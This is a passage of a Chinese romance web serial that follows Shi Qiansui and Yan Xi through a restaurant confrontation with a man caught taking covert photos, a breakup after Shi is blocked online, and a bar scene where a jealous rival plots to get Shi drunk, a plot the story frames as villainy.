一旁的男人眼底闪过一丝不悦,碍于面子,又不得不强行拉出一抹笑,看起来违和极了。
“你们认识?”
时千岁一怔,心虚地垂下眼睫,眼尾余光觑着言浠,期待她的回答,说认识,太牵强,至少两人还没熟到一张桌子上吃饭的地步,说不认识吧,又两天见了三面,在某种层面上来讲何尝不是一种缘分?
这回总不能让她下不来台吧。
她可不想又热脸贴了冷屁股。
时千岁屏息等待。
言浠默了两秒,简单地“嗯”了一声,表示了肯定。
时千岁顿时长松一口气,嘚瑟地朝男人挑了挑眉。
男人:“???”
他隐隐有些恼怒,这被横插一杠不说,怎么还坐下不走了?稳了稳,还是保持住了笑容,“我和言老师还有些重要的事情要谈。”言外之意很明显。
时千岁却是成功抓住了那两个熟悉的字眼,脱口而出,“老师?你也是老师?”不对啊,她不是在她家公司工作吗?
时千岁疑惑。
言浠眸光微微一震,用力捻了捻手指,恢复镇定。
她端过一套崭新餐具,放到时千岁面前,略过她的问题,冷面面向男人,“要是不聊工作,我们就没什么可聊的了。”
工作啊,看来又误会了,借工作之名泡妞,这种欺骗性行为真够掉档次的,时千岁心里对那人的鄙夷又多了几分。
男人脸上的笑有点维持不住了,眸光一沉,语气不善,“言老师不至于吧,只是吃个饭而已,这都不行?这么不给面子是不想合作了吗?”
时千岁听出了这话里的威胁,眉头一紧,抢先一步出言讥讽,“呦,给你面子?”冰坨子姐都不给自己面子呢,“凭什么给你面子?”
“既然知道是合作关系,那冰..”时千岁叫习惯了一时没改过来口,她强行舌头转了个弯,“那言浠姐,她就有同等的选择权利,所以,你猪鼻子插大葱装什么象呢?”
男人根本没想到眼前这个看起来有几分柔弱的小姑娘一开口会如此犀利,一时之间也是愣住了,回过神来火气直冲脑门。
他猛一拍桌子,“你骂谁是猪呢?”
桌面震了震,发出极大一声响,时千岁的心脏也随之震了震,她身子下意识往后一缩,眼睛望向门口,去寻觅大春的身影。
身后伸过来一只手,稳稳地扶在了她的背后,透过衣服渗到皮肤上的温度微凉,却有力量,像是提醒,更像是无声的安抚。
——别怕,有我在。
时千岁的心落到了实处,她挺直了身子,瞪了过去,目光又停留在那人滚圆的肚子上,“不然你照照镜子呢?”
男人的脸涨成了猪肝色,他站起身捏紧了拳头,又在大春进门的瞬间松开了手,这身高,这线条,怎么还带保镖了?
他气焰消失,最后落下一句毫无杀伤力的话,“没教养,”拿起旁边的包,就要走。
“我让你走了吗?”时千岁往后一靠,跷起二郎腿。
大春往前几步,挡在了男人跟前。
男人后退一步,“干什么?什么意思?”
时千岁指尖敲了敲桌子,“没什么意思,偷拍的照片亮出来也让我欣赏下?”
男人眼底闪过一丝慌乱,极力稳着声线,“什么偷拍?莫名其妙!”
大春拿出手机,点开屏幕把刚刚从管理处调取的监控横到他眼前,上边清清楚楚显示着这人趁着言浠未防备之时的偷拍行为。
证据确凿。
这就是时千岁交代大春办的事。
“我厉害吧?”时千岁挑眉邀功。
未等到回应,她偏头看向身侧,只见言浠脸色前所未有的阴沉,漆黑色的眸子如深不见底的寒潭,散发着浓浓的危险。
好可怕,时千岁甚至觉得周边温度都降下来了,不自觉打了个寒颤。
此刻向这边投过来的视线越来越多,周遭议论声刺耳。
男人脸红了几个度,向前逼近一步,气急败坏地指着时千岁,破口大骂,“你有病啊,关你什么事啊?我们又不是不认识,拍个背影怎么了?犯法了?”
时千岁向言浠身后缩了缩,刚要出口反击,便听一个冷冽的声音从身前传出。
“我允许了吗?”
气场强大,震慑人心,如一把裹挟着层层寒气的长刀,直直地刺向那人,她视线盯着那人指在空中的手,问,“手不想要了?”
时千岁紧张地咽了口口水,直觉,现在要是有把刀,冰坨子姐真能把这人手砍下来。
时千岁不由得想起昨天她莽撞的举动,呼吸一滞,遍体生寒。
她在背后双手合十,谢谢冰坨子姐不和她计较。
男人显然也被这气场吓到了,他看看始终守着他的大高个,又看看冷脸逼视着他的言浠,哪个都不好惹,心里衡量一番,退缩了。
他摸出手机,当面把照片删了,提包仓惶跑路。
闹剧结束。
餐厅重归热闹。
时千岁朝大春使了个眼色,蹑手蹑脚向门口挪,虽然她是做好事,但好像无意中搞黄了冰坨子姐的工作,赶紧逃命为上策,省得殃及池鱼。
见识了言浠强大的气场,她再没有了以前的嚣张,怂得像只夹着尾巴的猫。
“站住。”
言浠的声音从背后出现。
平静的,没有起伏的,但时千岁心脏还是狠狠地撞了一下胸膛,脚步扎根在了原地。
她深呼吸了几下,强压下那突如其来的紧张感,磨磨蹭蹭转身,勉强笑了笑,“那什么..还有事?没事的话..”
言浠紧盯着她的眼睛,薄唇开阖,“不吃饭了?”
时千岁被那双幽冷的眸子看得心里直
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发毛,连声拒绝,“不..不了,我不饿..”肚子却不争气地“咕噜”叫了一声。
时千岁:“.....”
言浠坐回餐桌旁,屈指敲了敲身侧的位置,示意她过来坐。
时千岁慢慢挪动脚步,坐到她身侧,腰杆笔直,看起来乖巧极了。
这一举动,简直看呆了大春。
这人居然能压得住千岁姐。
太厉害了。
她不由得在心里给言浠比了个赞。
...
服务员送上了四菜一汤,全是店内招牌菜系。
大春坐在对面,给时千岁烫好了餐具递了过去,“喝汤吗?千岁姐。”
“我来吧,”言浠接过瓷碗,盛了一碗枸杞山药排骨汤推到时千岁面前,“多喝点,补气血。”
时千岁惊愕片刻,讷讷道,“谢谢。”
她低头搅动汤匙,看到中间漂浮的姜丝,皱起了眉头,言浠观察到这细微的表情,又盛了一碗,把那碗有姜丝的调换到自己面前。
时千岁又是一愣,再次别扭地道了声谢,同时心里打起了鼓,冰坨子姐突然这么贴心,该不会要找她算账吧..
愣神之际,言浠拿起公筷给她布菜,甚至把辛辣刺激的调料一一挑了出来。
时千岁舀了口汤送进嘴里,心里更忐忑了,像极了等待宣判的罪人。
大春抬眼,不动声色打量着两人,怎么看怎么觉得这二人有种说不上来的cp感。
言浠在沉默中开口,“今天这人,我跟他只是工作关系,仅此而已。”
汤匙掉落在瓷碗中发出清脆一响,时千岁愣愣地“啊”了一声,不明所以。
她偏头望向言浠,言浠低头专注吃饭,没有了再开口的意思。
时千岁在心里回味着她那句没头没尾的话,突然间茅塞顿开。
冰坨子姐是在专门和她解释这不是约会?
可是有必要吗?她又不瞎。
...
这一顿饭,时千岁吃得很好不自在,大春是个沉闷性子,冰坨子姐更不用说了,解释完那一句就再也没开过口。
可给她憋坏了。
时千岁拿纸巾擦了擦嘴角,起身向言浠告别,“多谢款待,就此别过。”
大春却拦住了她,“千岁姐,先吃药。”
时千岁:???
“千金姐交代我看好你。”
大春动作很快,不给时千岁拒绝机会便奔向了后厨,她想,千岁姐在这位叫言浠的女人面前一向服帖,说不定这次也一样。
她让服务员热好了药,端过来放到时千岁面前。
时千岁皱着眉,一副苦大仇深的表情。
“千金姐说,灌也要灌进去。”
“千金姐千金姐,就知道你的千金姐!”时千岁看着大春的架势,好像根本不打算放过自己,认命似的端起了盛药的瓷碗。
刺鼻的草药味逼近。
胃不听话的翻江倒海。
时千岁被顺利逼出了眼泪。
一片雾蒙蒙中,身侧女人低头从包中摸索着什么,不多时掏出几个彩色包装的东西推到时千岁跟前。
时千岁努力挤走那不争气的泪水,看清了包装纸上边的字样。
水果糖?
时千岁惊愕地看着言浠,眨眨眼,亮晶晶的。
所以这是给她准备的?
言浠托着腮,回望过来,细长的手指点了点桌面上的糖果。
说。
“还要我喂你?”
8. 第 8 章
言浠这张脸,无论哪个角度都是这么的无懈可击。
纤长浓密的睫毛下,一双有故事性的眼睛里尽态凉薄,偏偏看向她时无端端生出一抹温柔,时千岁沉浸其中,仿佛不能自拔。
直到言浠再次出言提醒。
“嗯?”
语调上扬,像是带了钩子。
勾的时千岁瞬间慌了神。
她垂眸掩饰,“不,不用。”说着端起药碗,掐着鼻子,一饮而尽。
令人作呕的味道在口中横冲直撞,时千岁捂着嘴,像大春招手,示意离去,刚起身又折返回来抓走了桌子上的水果糖。
这才落荒而逃。
言浠看着她背影,不自觉眉目舒展。
等两人彻底走出了她的视线,她向服务员招了招手,叫了瓶红酒。
醒好酒,倒了一杯,小口抿着,翻出手机拨了一电话。
电话才响了一声,就被快速接起。
“喂喂喂。”
“出版的事谈得怎么样?快跟我说说。”
对面是同为作者的韩曲凌,机缘巧合线下相遇,两人自此熟络。
言浠压了口红酒,轻描淡写道,“崩了。”
韩曲凌吃惊,“怎么个事?约你面谈的意思不就是十拿九稳了吗?”
言浠言简意赅地解释了一下来龙去脉。
电话那头沉默了。
许久才开口。
“所以,你刚刚的意思是说,你现实里偶遇“发大水啦”?然后她又搅黄了你这次签约出版?”
言浠“嗯”了声。
韩曲凌没忍住爆了粗口,“我靠。”
“她有病吧?”
言浠不自觉皱起了眉头,冷声打断她。
“别这么说。”
韩曲凌疑惑,“嗯?”
言浠解释,“她做得对,我应该谢谢她。不然我也不打算跟蓝宇文化签约。”
“跟我对接的编辑人品不行。”
一直在私下约她,这种行为对她来讲是骚扰,而且今天还偷拍她照片和同事炫耀,实在是令人作呕。
“员工就代表公司,所以没什么好谈的。”
韩曲凌“嘶”了一声,八卦意味十足,“怎么还维护上了?”
言浠轻轻摇晃着酒杯,视线透过红色的液体看向外边人群,淡淡道,“没有。”
韩曲凌叽叽喳喳,“那那那,我问你,发大水本人长得咋样,胖不胖高不高好看吗?感觉怎么样?”
言浠把手机远离耳朵,“你问题太多了。”
对面笃定,“那就是不好看!”
言浠微微蹙眉,纠正道,“好看。”
韩曲凌惊讶,“真假?她好看你好看?”
时千岁的身影蓦地在脑海里浮现,青春、明媚、俏皮不失可爱,言浠直言,“她。”
韩曲凌要疯了,“天呢?言浠,你知道你在说什么吗?你到底对你自己这张牛逼的脸有没有认知?网文这职业一天天地对着电脑根本没精力身材管理容貌管理,几百万个阴暗扭曲的作者中能挑出来一个你都是老天有眼,你现在跟我说又蹦出来个小美人?你猜我信不信?”
言浠:“...这个阴暗扭曲也包括你?”
韩曲凌一噎,“不可否认我连载的时候确实扭曲,想啃屏幕...不说这个了继续说说你这小徒弟。”
言浠问,“说什么?”
“感觉、感受,想说什么就说什么。”
言浠回忆这两天种种,吐出两个字,“有趣。”
韩曲凌:“.....”
“就没了?”
很皮很嚣张又怂,刚才缩在她身后像个纸老虎,言浠轻笑出声。
电话那头大喊一声,“我滴个老天奶。”
“你笑了?言浠你ooc了!还我生人勿近高冷御姐。”
言浠把杯中最后一口酒喝完,拿起包去前台买单,“我又不是机器人。”
韩曲凌沉默片刻说出心里猜测,“你该不会是跟她聊出感情了吧?”说完又极快地否定,“不可能,你就不是那种隔着屏幕会走心的人,想当年要不是姐脸皮厚,死皮赖脸地跟你做朋友你会搭理我吗?”
言浠眼尾染着酒气,步伐依旧稳健的往外走,“不会。”
“嘿,你这人...”
言浠出言打断她,“我不想再继续这个游戏了。”
韩曲凌语气隐隐有些怒意,“什么意思?你是不是心软了?”
如果早知道发大水皮下是时家女儿,她根本不会选择招惹,言浠默了默,解释,“她还只是个孩子。”
“孩子怎么了?就不能轻易饶了她,最好是见面给她睡了再给她甩了!”
言浠严肃地制止了她,“韩曲凌!”过分了!
韩曲凌听出了她话语中夹杂的冷意,立马改口,“开玩笑的,开玩笑的,我怎么可能不知道你的人品呢,我这人嘴上没把门的,就是犯贱,别介意啊。”
言浠语气柔和不少,“她可是你忠实小粉丝,不怕她脱粉?”
韩曲凌“呵”了一声,十分不屑,“不就是投了几万块钱的雷吗?你可是我姐妹,我肯定向着你。”
言浠嘴角不由得勾起了淡淡笑意,她避开人群,站定,“先不说这个了,借我五十万。”
“借你五十万好啊,借你...什么?”韩曲凌震惊,“五十万?”
“不行吗?”言浠问。
“不不不,你话题转移太快了,我没反应过来,”
本来这次出版要是成功拿下的话稿费正好足够,可惜谈崩了,言浠想解释下,谁料韩曲凌十分痛快地答应了。
“没问题。”
言浠松口气,认真道,“谢谢。”
韩曲凌笑,“你我之间别搞得那么生分,你有困难能跟我开这个口说明你已经真心拿我当朋友了,我努力没白费,想当年你多难接触啊,那时候...”
言浠趁她还在“遥想当年”时,果断地按断了电话。
韩曲凌的短信追了过来。
【你是不是还在临海,我把明天工作推了,见面详谈吧,我还有几家出版社推荐给你。】
推荐出版社是假,想八卦才是真吧,言浠太了解韩曲凌性格了。
...
言浠出了商场,叫了辆出租车往酒店走。
温和的阳光透过车窗洒进来,言浠惬意地倚着靠背,挥散酒气。
一阵电话铃响起。
言浠睁开眸子看向手机,屏幕显示来电人“杨老师”。
杨老师原名杨素琴,年近花甲,无儿无女,一生从事贫困山区教育工作,言浠就是她的学生。
当年费尽周折把她送出来,才有了今日还算风光的言浠。
言浠坐直了身子,按下接听,恭敬地唤了声,“杨老师。”
电话里传来了慈祥温和的女声。
“喂,言言,学校的事情你不用操心了,前几天我和村支书向政府部门提交了申请,看能不能申请下来补贴。”
言浠摇下车窗,呼吸着来自沿海城市清新的空气,“钱的事情解决了,明天给你打过去。”
杨老师连声拒绝。
“不行,言言,你付出得够多了,再说建学校又不是你一个人的事。”
言浠静静道,“工程不能再拖了,年前竣工,孩子们春天就能上学。”
杨老师沉默许久,妥协了。
“你每个月不要再给我打钱了言言,出门在外不容易,对自己好点,有时间回来看看。”
言浠自从出来后就再也没回过出生的那片土地,关于那里承载的都是她童年时期不好的回忆。
“老师想你了。”
言浠内心深处某个地方生出了一丝柔软。
“冬天吧,等学校
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竣工,我就回去。”
“好。”
...
时间一晃,来到晚上。
时千岁和大春提着大包小包大扫荡归来。
正在厨房烧菜的时千金提着锅铲出来,打眼一看,目光定格在大春身上,“嚯,你这是把商场搬回来了?瞧把我的大春累的。”
大春耳尖悄悄地红了,“不,不累。”
时千岁全然没发现两人的异样,只顾往楼上冲,“对对对,快去心疼你的大春吧,我要去试衣服了,等下别打扰我。”
大春:“.....”
“我也去。”
说着便追着时千岁的脚步三步并作两步飞一般地逃上了二楼。
时千金:“.....”
体育生就是好,跑得够快,一看体力就很好。
...
时千岁回到卧室,开始换衣服。
她几乎把应季所有款式的衣服都买了个遍,她对着镜子换了一套又一套,拿不定主意。
回头问大春,“你觉得哪件好看?”
大春显然有点心不在焉。
慢半拍回神。
“都..都好看。”
时千岁拧眉,不满道,“你是不是在敷衍我?”
大春抿了抿唇,“没有。”
时千岁:“.....”
时千岁不死心,凑到她眼前,踮起脚尖转了个圈。
“你说我女朋友喜欢什么风格的?”
“清纯乖巧的学院风还是青春靓丽的甜妹?是成熟性感的还是热情火辣的?”
大春定定地望着她,“不知道。”
时千岁:“.....”
“给点意见啊,”其实别看她在网上那么奔放,现实还是很紧张的,时千岁搓了搓手,期待地看着大春,“如果是你,你喜欢什么类型的?”
喜欢什么类型?
不知为何,大春脑海中蓦地蹦出了时千金的身影,眼神炙热,笑意盈盈。
大春一惊,使劲摇了摇头,把时千金强行从脑海中驱逐了出去,语气有些慌乱道,“你怎么不直接问她?”
好像也是。
时千岁坐到了床上,紧张地拿起了手机,心里打起了小九九。
要不直接爆照吧,起码让女朋友知道自己长什么模样心里好有个准备,降低见光死风险。
“嗡。”
手机震了下。
时千岁一紧张“嗖”地甩掉了手机。
她做了好几个深呼吸,才稳定好情绪。
重新捡起来。
屏幕上显示来信人秦梦乐。
时千岁极为恼火。
真会挑时候发消息,害她差点吓死。
秦梦乐说:【千岁,上次的事情对不起,我不该把视频发群里,明天我做东我们聚一聚...】
时千岁都没有耐心看完,匆匆关闭了聊天框。
开始呼叫女朋友。
【老师老师老师!】
她精心挑选了三张完美角度的自拍发了过去:【(图片)(图片)(图片)老师我明天穿哪件去见你?】
【还是...不穿?】
时千岁又深呼吸,克制住微微发颤的指尖,打字道。
【老师,你呢?】
【先看看照片?】
时千岁焦灼地等待着,一分钟、两分钟...发出去的消息却如同石沉大海。
她坐不住了,再次拿起手机。
【你要不愿意也没事,到时候你给我打个信号,亲我一口,我就知道是你了。】
点击发送。
页面随即蹦出了一条消息。
时千岁随之瞪大了双眼,震惊当场,如遭雷击。
【对方开启了朋友验证,请先发送验证...】
并随之一个刺目的红色感叹号。
!
9. 第 9 章
事情发展太快,大脑根本做不出任何反应。
时千岁两眼失神,整个人像是被施了定身咒,动也不动。
直到大春急迫的声音,由远及近,闯入脑海。
“千岁姐?”
“怎么了?”
时千岁发散的视线慢慢聚焦,最后定格在那个红色的感叹号上,情绪翻江倒海,眼泪无声滴落。
她用手背胡乱抹了抹脸颊的泪水,喃喃道,“为什么?”
“什么为什么?”大春急问。
时千岁像是瞬间被抽干了所有力气,瘫倒到床上,“我好像...失恋了。”
刚才不还好好的?大春疑惑。
时千岁视线聚焦到大春身上,一把抓住她的手,如同抓住救命稻草,“我给她发完照片之后她就给我删了,她什么意思?”
大春抿唇不解。
时千岁追问,“她是不是没看上我?是不是嫌我丑?”
大春连忙否认,奈何语言贫瘠,“怎..怎么可能?”
时千岁慢慢松开了手,把自己重新瘫到了床上,眼泪埋进枕头里,“出去吧,让我自己静一静。”
大春在床边伫立好久,见时千岁始终没有再开口的意思,便一步三回头地离开了卧室。
时千岁慢慢爬起来,关上灯拉紧了窗帘,又再度回到了床上把自己裹进了毯子里,任黑暗吞噬,悲伤蔓延。
十九岁的年纪,最天真热烈的年纪,对爱情抱有最美好的幻想。
轰轰烈烈、刻骨铭心。
时千岁的第一段恋爱虽说是网恋,但同样注入了百分百的感情、期待,期待以后期待未来。
可现实呢。
现实被莫名其妙地抛弃。
甚至连句敷衍的解释都没有。
悲伤、不甘、愤怒、不解,各种情绪交织,与黑夜编织成了密不透风的大网,紧紧包围着她,令她窒息。
这夜,是时千岁人生中第一次失眠,整夜辗转反侧,一遍又一遍地翻看两人的聊天记录,直至天光大亮,日头高悬。
....
大春第五次来到时千岁卧室门口,见大门依旧紧闭,她把耳朵贴到了门上。
听了好一会,里边都没有发出一丁点响声。
大春心慌得不行,内心斗争许久,决定前去求助时千金。
大春小跑下楼,敲响了书房的门。
“进。”
大春推门而入,胸口大幅度起伏着。
时千金一见她就笑了,放下手中的文件,“这么急?想我了?”
大春摇摇头,“不是,千岁姐好像出事了。”
“什么?”时千金敛起笑容,严肃得不能再严肃,“说清楚。”
大春低下头,像个做错事的孩子。
“千岁姐失恋了,把自己关在屋子一天一夜,我怕她..”
时千金猛地站起身,“失恋?”她越过大春大步向前走,“我让你看着千岁,有什么消息跟我讲,你可倒好,跟我这玩谍中谍呢?”
哪是谍中谍,明明是肉夹馍,一个让说一个不让说,她夹在中间好难受,大春有点委屈。
时千金停下脚步,眼神意味不明,“晚点来我房间,姐姐跟你好好聊聊。”
大春肩膀一颤,低低应道,“嗯。”
...
时千金来到卧室门口,拍响了大门,上来前她劝了自己好多遍要冷静,但话一出口,还是没有压制住声调。
“时千岁,你开门。”
“不开我就去拿备用钥匙!”
静了片刻。
时千岁终于开口了。
“门没锁,进来吧。”
声音沙哑,有气无力的,像是哭了很久。
时千金心疼又内疚。
如果她能再多关心一下妹妹就好了。
她轻轻推开门。
走廊里的光亮投射了进来,为这个暗阒阒的房间增了一点生气。
时千金绕到窗户前,把严丝合缝的窗帘全部拉开。
房间霎时间变得明亮,晃眼。
时千岁把毯子蒙到了头上整个人缩成了一团。
时千金坐到床边那小鼓丘旁,戳了戳,柔声问,“你一直没吃东西?”
时千岁闷闷的声音自里传出。
“嗯。”
时千金故作轻松,“跟姐聊聊?”
聊,有什么好聊的,聊她莫名其妙被甩了?呵呵,天大的笑话,时千岁沉默不语。
时千金试探性问,“你俩进行到哪一步了?”
她最担心就是这个。
妹妹年龄小本就识人不清,再加上条件又优越,很容易被居心叵测的人渣盯上,万一被人骗心骗身...时千金被这一想法吓得冷汗都出来了,她手上劲头不自觉就加大了,“说话啊!”
“那男的多大了?哪里人?怎么认识的?”
时千岁不耐烦的“啧”了一声,“女的。”
“还没上床。”
“听见了?开心了吧?”
女的啊,还好不是臭男的,时千金刚松一口气,又咀嚼了一遍那两个字,猛地提高音量,“什么玩意?时千岁你喜欢女的?”
时千岁:“那咋了,有问题?”
“还那咋了?”时千金在她头顶上轻轻拍了一下,“这就是你的秘密?”
吃痛,时千岁闷闷地“哼”了一声。
时千金揉了揉她的脑袋,无奈叹气,“没问题,但这事绝对不能让
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爸妈知道。”
母亲梁舒的态度不清楚,但父亲时来运平时很注重教养和家规,是个传统意义上的男人,谈不上古板,但谈及本质,骨子里还是难以磨灭的封建。
“别看平时他们宠你、惯你,但要是让爸知道,他绝对会打断你的腿。”
“别念了别念了,”时千岁快头疼死了。
“我又不傻。”
“再说,我说我是同性恋,有人信吗?你见哪个同性跟我恋了?”
怎么开始妄自菲薄了?
真受刺激了?
至于吗?不就是个女人,时千金恨铁不成钢,“说说吧,姐开导开导你。”
时千岁从毯子里伸出一只手,把手机递出来。
“自己看。”
时千金接过手机,划开聊天记录,逐字查看,渐渐眉头拧成绳。
“时千岁,这人是小号啊。”
时千岁从毯子里探出个头,红彤彤的眼睛满是不可思议,“你怎么知道?”
时千金一副看傻子的表情,“哪个正常人微信头像是空白图,甚至连名字都懒得起?你自己想,她是不是从来没发过朋友圈?”
还真是,时千岁心里咯噔一声,毯子里的手骤然收紧,难不成她被耍了?
时千金忍不住摆出了年长者的姿态,恨铁不成钢地教育她这个不争气的妹妹。
“这就是你说的谈恋爱?”
“时千岁你的单纯程度让我叹为观止!”时千金特意找了个委婉的措辞维护下她脆弱的自尊心。
又止不住地担忧,人怎么可以自我攻略成这个样子,对面这么人机,都能上头成这样,“这要是杀猪盘,都能给你忽悠瘸了,你一个人就可以贡献几年的kpi!”
“你说谁是猪呢?再说,”时千岁心存侥幸,“她才不图我钱呢,我给她打钱她都不要!”
这是什么顶级恋爱脑!时千金气急了。
“别人轮回你秒回,一张稍微露骨的小照片你就要当人家的狗,别人勾勾手你是不是要跪舔啊?”
时千岁沉默不语,只是一味脑补这个画面。
时千金:“???”
嘿,说中了?
时千金气笑了,“瞧你那不值钱的样子。”
这话听着刺耳,时千岁不自觉拧起了眉头。
时千金继续输出,“连人家名字长相都不知道至于要死要活的?”
“人就是逗你玩,你还当真了!”
时千岁脑子嗡的一声,时千金语气讥讽的“逗你玩”在脑海里盘旋叫嚣、挥之不去。
她讷讷道,“那我们在一起的这三个月算什么?”
时千金哂笑一声,“算你一厢情愿。”
“算你倒霉!”
10. 第 10 章
时千岁的所有情绪此时统统化为了愤怒,又在时千金落在她耳边那句“你什么时候能长大”时,占据了顶峰。
她怒瞪时千金,“你来就是为了嘲笑我,为了损我的?”
时千金这次不打算惯着她,“我不这么说,你能长记性?”
“这么大个人了连个基本的辨别能力都没有!”
“一次这样,两次呢?被人骗钱是小事,骗身骗心怎么办?”
时千金的话像把刀子,把她仅剩的自尊捅了个稀巴烂,时千岁眼泪在眼眶里打转,吼道,“不要你管!”说着跳下床,夺门而出。
时千金的声音在她背后飘荡。
“你干什么去?”
“我跟你说,爸妈明天就回来了...”
时千岁充耳不闻。
她跑下楼,随手勾起一把车钥匙,大春一如往常一样跟了上来。
时千岁站住脚,语气压抑低沉,“我想自己静一静,行吗?”
大春犹豫之际,时千岁钻进了一辆黄色法拉利中。
油门一踩,跑车在一片轰鸣声中绝尘而去。
...
华灯初上,五彩斑斓的灯光在茫茫夜色中跳起了舞,把整个城市渲染得热闹非常。
言浠从出租车上下来,目光复杂地注视着眼前“冬藏”酒吧的大门。
也不知道韩曲凌哪根筋不对,好巧不巧非要约在这里。
万一她来了...
言浠兀自摇了摇头,否定了心中突然冒出的这个不切实际的想法。
“嘿!”韩曲凌从一辆极其炫目的黄色法拉利后边跳了出来,披着一头火红色长发,咋咋呼呼地挥了挥手,“你可算来了,等你好久了,”说着下意识地去挽言浠的手臂。
言浠沉静的眸子里骤然升起一道寒芒,身体也随之紧绷。
是一种条件反射的防备性姿态。
韩曲凌火速抽出了手,也不尴尬,笑盈盈的,“想我了吗?”
言浠:“.....”
韩曲凌捂着心口,对她的沉默不语表示很受伤。
“没事的,不喜表达和不走心是有本质区别的,咱俩认识那么久我还能不了解你吗?遥想当年我可是费了九牛二虎之力才...”
言浠赶紧打断了她的“遥想当年”。
“走不走了?”
韩曲凌收起了满脸不正经,指了指门口停着的超跑,“临海当地最出名的les吧,看见了吧,这质量,也不知道是哪家的大小姐开出来炸街的,我跟你讲我寡了好久了今天势必要找个女人开开荤。”
虽然言浠穿着素淡,但这张脸实在是瞩目。
韩曲凌补了一句,“别抢我风头。”
言浠的注意力停留在“大小姐”那三个字上,神情一时有些恍惚,随口说道,“没兴趣。”
韩曲凌笑。
两人往里走。
不到八点钟,酒吧里只有寥寥几桌客人,以至于言浠一眼就望见了舞台旁边卡座上被几个光鲜亮丽的年轻人簇拥在中间的时千岁。
时千岁眉目低垂,一副心事重重的样子和周围热闹的气氛格格不入。
言浠的心脏莫名揪了一下。
直觉没有错,她果然来了。
“怎么了?”韩曲凌挥了挥手。
言浠回神,不动声色收回目光,脚步一抬,站到了韩曲凌的右手边,阻挡住了她望向中央卡座的视线。
韩曲凌:“???”
...
时千岁是半个小时前来到的“冬藏”酒吧。
至于她为什么来到这里,还得从她赌气离开家时说起。
黄色的跑车漫无目的地驰骋在街道上。
夕阳西下,淡金色在云暮间流荡,拉下了白日的帷幕,急躁的风呼啸而过,带着独属于夜晚的清凉,一下又一下拍打着时千岁的脸颊。
她冷静了不少。
她承认,姐姐说得对。
也承认姐姐是为了她好。
但那句“你什么时候能长大”也确确实实刺伤了她。
她讨厌老是被当成小孩子。
“嗡嗡。”
放在副驾驶的手机好像从刚才就一直在震。
震得人心烦。
时千岁靠边停车,查看消息。
信息轰炸的是秦梦乐。
【千岁,人呢,大家在都等你,昨天你可是答应过来的。】
时千岁皱皱眉。
刚想拒绝。
对面发了个定位,“冬藏”酒吧。
时千岁久久地注视着这个地址,心中五味杂陈。
...
所以,她为什么鬼使神差地前来赴约呢?
是对“见面”这事还存在一丝不切实际的幻想吗?
时千岁自嘲地勾了勾唇角,眼睛还是听从了心意,缓缓扫向了全场。
酒吧陆陆续续开始上人。
几乎都是几个好友或情侣相携而来,时千岁视线定格在不远处卡座唯一一个形单影只的人身上。
这人妆容浓丽,红唇大波浪,打扮得跟个开屏的花孔雀似的。
一看就不是她。
时千岁刚要移开视线。
便看见一个留着齐耳短发的女人大步流星地朝浓妆女人走去。
浓妆女人一改慵懒姿态,起身迎了过去,笑意温柔,“才下班?饿不饿?”
短发女人揽住了她的腰,把她往身前一勾,目光深深,“嗯。”
“那在外面吃还是回家自己做?”
短发女人喉咙往下一滚,“喻老师。”
“想吃你。”
说着,便直接吻了上去。
两人在躁动的音乐声中紧紧相拥,吻得激烈而沉醉。
时千岁眨也不眨地盯着两人。
她想,如果今天如期见面的话...她是不是也能有嘴亲。
时千岁眼底止不住地艳羡。
...
“千岁,”秦梦乐从舞池中出来,捞起一杯洋酒绕到时千岁身边,旁边女孩很有眼力见地让出位置。
时千岁兴致不高地“嗯”了一声。
秦梦乐看她面前的盛果汁的杯子,挥手让服务员拿了两瓶啤酒过来。
开了一瓶递了过去,“诱惑7号,果味啤酒没什么度数,来都来了放松一下。”
时千岁接过,闻了闻确实没有酒精味,只有淡淡的苹果清香扑鼻。
她犹豫片刻点
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了点头。
行吧。
秦梦乐突然不合时宜地问了句,“今天怎么就你一个人出来,”往常不是每次身后都跟个跑前跑后管东管西的大高个?她调侃道,“保镖呢,不过来伺候你啊?”
大春?
时千岁眸光一冷,脸色也突然暗了下来。
一字一顿咬道,“她是我朋友。”
“不是什么保镖,放尊重点。”
气氛莫名紧张,周围女孩全部安静了下来,齐刷刷地看向秦梦乐。
秦梦乐笑容僵在了脸上。
其中一个跟两人比较熟悉地站出来打圆场,“她开玩笑呢。”
“你也是,千岁本来就心情不好,你还惹她不开心。”
“来喝酒喝酒。”
秦梦乐狠狠捏了下杯子,眼底的怨毒一闪而过。
“我赔罪,我干了。”
杯中酒一饮而尽。
...
酒吧的最角落,韩曲凌百无聊赖地趴在桌子上扣手机。
刚刚跟言浠聊了聊网恋对象的事情进展,得知删除好友后,兴致缺缺。
她叹口气看着眼前杵着的人,无奈道,“这么大个地方,你非坐我对面干啥,害我都看不到美女了。”
视线被遮挡得一干二净。
韩曲凌向左挪挪。
言浠也向左挪挪。
韩曲凌向右。
言浠不动声色地歪了下身子。
韩曲凌:“???”
言浠端起红酒杯,晃了晃,悠悠道,“看我还不够?”
韩曲凌:“.....”
“姐,但凡换个人跟我说这句话我都能不要脸地觉得这是在撩我。”
言浠:“.....”
韩曲凌觉得她今晚奇怪得很。
言浠向来不喜欢这种热闹的场所,以前叫她来过两次,每次屁股还没坐热就急着要走,今天完全没有要走的意思。
什么情况?
“明天几点飞机?”
言浠站起身,“下午。”
韩曲凌问,“要回去吗?”
“不急,时间还早。”
“我上个洗手间。”
言浠转身离开前特意把她的包从沙发上拿了起来,立在了桌子上,隔断了韩曲凌的视线。
韩曲凌:“???”
...
言浠来到卫生间门口。
此时里边传来了一阵尖锐愤怒的喊叫声。
“啊啊啊啊!”
“你说,时千岁她到底在装什么啊?”
听到这熟悉的名字,言浠脚步一顿,停在了原地。
“她有病吧,为了一个破跟班的当众让我下不来台,害我脸都丢尽了。”
“嘘,乐姐,你小点声。”
“怕什么!”
“真不懂我爸为啥这么低声下气的,非让我来给她道歉,你说,时家有什么好怕的,不就是一破暴发户。”
里边的人突然压低了声量。
“等下你就使劲灌她酒,最好不省人事,被人捡走睡了才好。”
言浠眼底升起森然寒意,蓦地推开门,向里边说话的两人走去。
...
11. 第 11 章
秦梦乐两人一看有人走进来便默契地转移了话题。
“看我今天这裙子怎么样?”
“好看,也太符合你的气质了吧,乐姐。”
秦梦乐炫耀,“那是,这可是出自国外顶尖设计师之手,十几万呢,怎么样比时..”见同伴用眼神提醒,她舌头转了个弯,“是不是那谁好看?”
同伴附和道,“那肯定的,乐姐,暴发户的气质怎么可能和你比。”
言浠走到两人身边,打开水龙头仔细冲洗手背,余光静静打量着秦梦乐。
